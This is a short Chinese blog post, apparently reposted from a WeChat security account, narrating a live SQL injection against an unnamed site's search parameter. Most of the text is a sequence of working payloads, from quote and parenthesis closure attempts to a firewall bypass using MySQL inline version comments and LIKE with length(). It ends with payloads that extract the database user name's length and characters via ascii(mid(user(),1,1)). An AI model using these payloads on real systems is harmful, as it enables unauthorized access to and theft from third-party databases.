通过手动测试发现SQL注入漏洞,尝试使用%号、引号和括号闭合,但or被拦截。最终通过条件构造绕过防火墙,成功获取数据库用户名信息。
近期的一次SQL注入实战,通过手动测试发现站点存在SQL注入漏洞,首先在探测的时候,输入单引号查看效果

再输入单引号进行闭合

通过报错信息可以直到,想要达到闭合条件最好还是使用%号、引号和括号,尝试闭合配合注释

尝试使用布尔注入的时候,发现被拦截了

但是去掉or后面的字符就不拦截keyword=123%'+or+)--+-

尝试对or使用||、&、等编码转换,都会被拦截,似乎只要or后面跟东西就被拦截,灵机一动,发现可以实现布尔条件,并且数据发生明显变化keyword=123%'+or+'1')--+-

看似成功,实则拦截keyword=123%'+or+'1'='1')--+-

不过并没有什么用,这个时候就比较容易了,一手keyword=123%'+or+'1'=/*!1*/)--+-

尝试条件为假的时候keyword=123%'+or+'1'=/*!2*/)--+-

继续下一步的时候,发现似乎只能输入纯数字,字符串不行、函数也不行
keyword=123%'+or+'1'=/*!length()*/)--+-

keyword=123%'+or+'1'=/*!'1'*/)--+-

这更好绕keyword=123%'+or+'1'+like+/*!length(1)*/)--+-

这个时候再构造个假条件keyword=123%'+or+'1'+like+/*!length(12)*/)--+-

没问题,此时尝试获取数据库当前用户名长度
keyword=123%'+or+'25'+like+/*!length(user())*/)--+-

获取当前数据库用户名第一位对应的ascii值
keyword=123%'+or+'100'+like+/*!ascii(mid(user(),1,1))*/)--+-

原文始发于微信公众号(我不懂安全):实战SQL注入某面板防火墙绕过
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-


评论